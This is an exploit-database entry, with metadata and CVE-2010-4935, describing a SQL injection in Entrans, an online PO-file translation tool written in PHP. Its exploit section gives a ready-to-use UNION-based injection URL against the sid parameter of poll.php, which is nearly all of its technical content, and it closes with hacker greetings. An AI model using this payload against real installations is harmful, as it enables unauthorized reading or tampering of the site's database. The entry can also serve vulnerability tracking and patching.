Entrans - SQL Injection

Author: keracker
type: webapps
platform: php
port: 
date_added: 2010-09-27 
date_updated: 2010-10-03 
verified: 1 
codes: CVE-2010-4935;OSVDB-76226 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Entrans SQLi vulnerablility
# Date: 2010/9/27
# Author: keracker
# Software Link: http://sourceforge.net/projects/entrans/
# Software Description: Entrans is an online collaborative translation tool used for editing and translation of PO files. It provides features such as ``dynamic'' keyboard for Indian languages and automated suggestions to help beginners and experts alike.
# Version: all
# Tested on: windows

# xpl:
    http::/localroot/poll.php?sid=-1+union+all+select+1--



#Greetz:
    ALL IRANIAN MUSLIM HACKERs